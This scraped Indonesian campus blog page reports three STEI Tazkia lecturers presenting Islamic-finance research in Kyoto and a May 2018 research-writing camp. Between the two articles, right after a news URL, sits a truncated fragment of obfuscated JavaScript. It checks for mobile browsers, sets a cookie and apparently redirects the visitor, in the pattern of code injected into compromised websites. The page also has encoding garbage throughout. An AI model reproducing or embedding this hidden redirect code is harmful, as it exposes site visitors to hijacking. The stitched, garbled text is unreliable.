Murniati menjelaskan, penelitian yang mengambil data Malaysia menduduki peringkat pertama disusul oleh Uni Arab Emirat, dan Indonesia. Hal ini diartikan bahwa dinamika ekonomi syariah di Indonesia kurang menarik perhatian dibandingkan dengan kedua negara tersebut.

“Termasuk juga kurangnya peneliti asal Indonesia yang mempublikasikan risetnya di jurnal internasional,” katanya dalam keterangannya yang diterimaA�Republika.co.id, kemarin.

Adapun Rochania menulis topik a�?Current reporting practices in Islamic baks: the impact of human development and national culturesa�?. Di satu sisi, menurutnya, bank syariah beroprasi berdasarkan aturan-aturan Islam yang universal. Di sisi lain, tiap-tiap negara memiliki country values yang berbeda dan berpengaruh terhadap perilaku.

Risetnya bertujuan menguji apakah nilai-nilai budaya, human development, dan democracy index mempengaruhi tingkat transparansi pengungkapan informasi di 40 bank syariah di 8 negara. Hasil penelitiannya menunjukkan bahwa human development dan democracy index mempengaruhi tingkat transparancy, sedangkan nilai budaya tidak berpengaruh.

Sedangkan Faried membentangkan risetnya yang berjudul a�?Firm Performance and Innovation in Halal industry: the case of Indonesiaa�?. Secara umum, menurutnya, tingkat inovasi perusahan yang terdaftar di pasar modal syariah indonesia masih relatif rendah tetapi para investor di pasar modal syariah memberikan respon positif terhadap segala usaha inovasi yang dilakukan perusahaan secara internal.

“Yang menjadi catatan adalah perusahaan yang terdaftar di pasar modal syariah harus lebih memperhatikan usaha-usaha inovasi yang dilakukan dengan berkolaborasi dengan pihak external sehingga memberikan dampak yang lebih signifikan terhadap kinerja perusahaan,”A� ujarnya.

Selain Tazkia, hadir beberapa peserta asal Indonesia lainnya yaitu Trisliadi Supriyanto dari Universitas Ibnu Khaldun, Bogor dan Raditya Sukmana dari Universitas Airlangga, Surabaya.

 

https://m.republika.co.id/berita/pendidikan/dunia-kampus/18/06/27/pazciy396-tiga-dosen-tazkia-bentang-riset-di-kyoto-jepang 2|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarTiga Dosen Tazkia Bentang Riset di Kyoto, Jepang
read more

Research Camp Bersama Ketua STEI Tazkia

No comments
LPPM STEI Tazkia pada Hari Kamis-Jumat 3-4 Mei 2018 mengadakan program Research Camp yang berlangsung di Hotel Sofyan Betawi, menteng, Jakarta Pusat. Dalam keterangan terpisah Kepala LPPM STEI Tazkia, Ries Wulandari, MSi menegaskan beberapa tujuan program ini untuk berkontribusi pada peningkatan kualitas publikasi ilmiah dosen-dosen di Indonesia sebagai bagian dari Pengabdian kepada Masyarakat (PkM).
Hadir sebagaiA� narasumber utamaA� Ketua STEI Tazkia, ibu Dr. Murniati Mukhlisin, M.Acc. yang juga merupakan dosen senior prodi Akuntansi Islam.A� Narasumber utama memberikan bimbingan sampai dengan proses submit ke Jurnal Internasional Terindex Scopus. Selain itu pada program ini peserta juga mendapat bimbingan academic writing antara lain pengajuan proposal PhD dan naskah ilmiah yang efektif untuk conference internasional.
Narasumber lain yang hadir adalah alumni dari berbagai kampus yang berbagi tentang kehidupan selama menjadi mahasiswa di Australia, UK, dan Belanda.

Dr. Murniati Mukhlisin sedang memaparkan materi kepada peserta yang hadir.

Peserta mengikuti 18 jam sesi materi dengan antusias. Peserta luar berjumlah 12 orang terdiri dari dosen dari Universitas Haluleo Kendari, UGM Yogyakarta, Universitas Gunadharma Jakarta, Universitas Indraprasta Jakarta, STEI SEBI, UIN SUSKA Riau, UIN Syarief Jakarta, dan Praktisi Perbankan dari MayBank Jakarta.

Pesreta sedang berdiskusi dalam salah satu sesi acara

Dosen internal yang terlibat 8 orang merupakan perwakilan Prodi Ekonomi Syariah, Akuntansi Syariah , dan Bisnis Manajemen Syariah STEI Tazkia yang mendapat dukungan dari LPPM dan Program Studi.

A�
Program serupa akan digelar sesuai dengan jadwal LPPM dan Narasumber dengan format in house training.

Miftahul AnwarResearch Camp Bersama Ketua STEI Tazkia
read more